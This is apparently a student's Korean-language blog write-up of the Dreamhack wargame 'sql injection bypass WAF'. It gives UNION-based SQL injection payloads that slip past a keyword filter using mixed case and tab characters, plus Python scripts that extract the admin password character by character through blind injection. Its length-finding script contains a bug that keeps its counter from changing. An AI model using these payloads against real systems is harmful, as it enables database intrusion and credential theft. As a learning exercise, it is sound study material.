Web Hacking 과제_1(Dreamhack_sql injection bypass WAF)

2024. 10. 30. 00:53hacking : p_study/Dreamhack

sql injection bypass WAF | 워게임 | Dreamhack | 워게임 | Dreamhack

 

sql injection bypass WAF

Description Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다. 문제 수정 내역 2023.07.24 Dockerfile 제공.

dreamhack.io

 

Exercise: SQL Injection Bypass WAF에서 실습하는 문제입니다.

 

서버를 생성하고, 문제를 풀어보겠다.

 

 

시작화면은 이와 같았는데, sql인젝션을 하기위한 기본 틀처럼 보였다.

 

 

일단, admin을 이용해 어떤 식으로 구현되는지 분위기를 보도록하자.

 

 

입력했더니 위와같이 떴는데, WAF에 의해서 내 요청이 막혀있다고 뜬다.

문제 제목에 있는 WAF인데, 이게 요청을 막고 있다. WAF가 뭘까? 

 

WAF 또는 waf는 다음을 의미한다.

  • Waf: 파이썬 언어로 작성된 소프트웨어 빌드 시스템
  • 웹 애플리케이션 방화벽(web application firewall): HTTP 프로토콜 이지 기능을 갖춘 프록시 서버
  • 웹 프레임워크(web framework): 동적인 웹 페이지나, 웹 애플리케이션, 웹 서비스 개발 보조용으로 만들어지는 애플리케이션 프레임워크의 일종

 

WAF - 위키백과, 우리 모두의 백과사전

 

WAF - 위키백과, 우리 모두의 백과사전

위키백과, 우리 모두의 백과사전. WAF 또는 waf는 다음을 의미한다. <!-- NewPP limit report Parsed by mw‐api‐ext.codfw.main‐64f68c4f95‐r5sbw Cached time: 20241028082912 Cache expiry: 2592000 Reduced expiry: false Complications: [

ko.wikipedia.org

 

WAF는 여기서 웹 애플리케이션 방화벽을 말하는 것인지, 웹 프레임워크의 종류를 말하는 것인지 풀다보면 알 것이다.

 

아마도, 방화벽과 관련된 내용일 것으로 느껴진다.

 

 

 

swlug가 입력되었을땐, 그대로 출력되는 것을 보니 admin에 대한 반응이 달랐던 것 같고, guest도 문제없이 출력되었는데,

차이가 있다면, result라고 된 부분이 guest는 적혀있고, swlug는 안적혀있다는 점? 문제 푸는 것과 관련이 있을까?

 

 

 

코드를 살펴보니, 이와 같았는데, 위의 키워드 중 하나를 입력했을 때, 위와 같이 너의 요청은 waf에 의해 막혀있다라고 뜨는 것 같고, 내가 키워드에 속해있는 admin을 넣었기 때문에 해당 문구가 반환된 것으로 보여진다.

 

이 뒤에 부터는 어떤식으로 접근해야할지 모르겠어서 힌트를 찾아보기로 했다.

 

결국 uid를 받아와 sql 구문을 실행시키고, 여러 키워드를 사용하지 못하게 막는 함수가 존재했다.

하지만 keywords의 구분을 보니 대소문자 구분이 없었고, 공백 또한 white space만을 막는 것으로 보아 %09와 같은 tab 문자를 사용할 수 있다고 한다.


그래서 입력한 코드는 아래와 같다

Admin'	#

역시 출력이 잘 되는 것으로 보아 위의 입력을 변형시켜 upw의 값을 얻어오면 될 것이다.

그래서 작성한 코드는 아래와 같다.

'Union	Select	upw	From	user	where	uid="Admin"#

 

그 이유는 union을 사용하기 위해서는 select 구문의 column 개수가 앞의 select 구문 column 개수와 일치해야하는데, 생각없이 column을 하나만 사용했기에 발생한 에러였다.

그래서 column 개수가 몇개인지 확인하기 위해 null값을 넣어주며 알아낼 수 있으나 에러가 떴다.

 

시작부터 idx, uid, upw 이 세 가지의 column이 존재한다는 것을 코드로 보여줬으므로 쉽게 해결할 수 있다.

그래서 column 개수와 column명에 맞게 작성한 코드는 아래와 같다.

 

'Union	Select	idx,uid,upw	From	user	where	uid="Admin"#

 

 

주어진 코드에서 result=result[1]을 출력하므로 가운데에 원하는 upw를 넣어서 문제를 해결해주면 된다.

아래는 가운데에 idx를 넣어준 결과이다.

 

'Union	Select	null,idx,upw	From	user	where	uid="Admin"#

 

 

 

길이를 알아내기위한 코드

import requests

url="http://host3.dreamhack.games:8352/"
cnt = 0
pwlen=0

while(True):
    cnt+=1
    param={'uid':f"'||(length(upw))like({pwlen})#"}
    if 'admin' in requests.get(url,params=param).text:
        break

print(f"length of password : {pwlen}")

 

이제 플래그를 알아보는 코드를 작성해보자.

import requests

url="http://host3.dreamhack.games:8352/"

pw=""

for i in range(4,45):
    for j in range(0,127):
        param={'uid':f"'||(ascii(substr(upw,{i},1)))like({j})#"}
        if 'admin' in requests.get(url,params=param).text:
            pw+=chr(j)
            print(f"pw={pw}")
            break


print(f"flag = {pw}")

 

 

앞에서 구한 길이에 맞게 for문을 돌리고, if문을 이용해 flag를 구하도록 구성한 코드인 것 같다.

 

 

 

 

앞에 부분에 대한 접근은 좋았는데, 혼자서 풀어낼 수가 없어서 찾아봤는데, 생각보다 더 까다롭게 느껴졌다.

그래서 해당부분실습을 따라가면서 이해하지 못한 부분이 대부분이어서 뒷부분 실습은 다시 따라가면서 개념공부를 해야겠단 생각이 들었다.

 

 

 

[참고한 자료]

[Dreamhack] sql injection bypass WAF

 

[Dreamhack] sql injection bypass WAF

소스코드를 읽기 전 uid로 guest와 admin을 넣어보았다.그랬더니 guest는 출력이 잘 되지만 admin은 block 되었다는 것을 알 수 있다.소스코드를 뒤져보니결국 uid를 받아와 sql 구문을 실행시키고, 여러

velog.io

 

[Dreamhack : Web] sql injection bypass WAF

 

[Dreamhack : Web] sql injection bypass WAF

문제 방화벽 우회 문제다. 풀이 접속하면 이렇게 뜨는 걸 볼 수 있다. 아무거나 입력해보자 hello를 입력했더니 {uid}가 hello로 바꼈다. 이번엔 guest를 입력해보자. guest로 바뀌면서 가운데 guest라고

kshind.tistory.com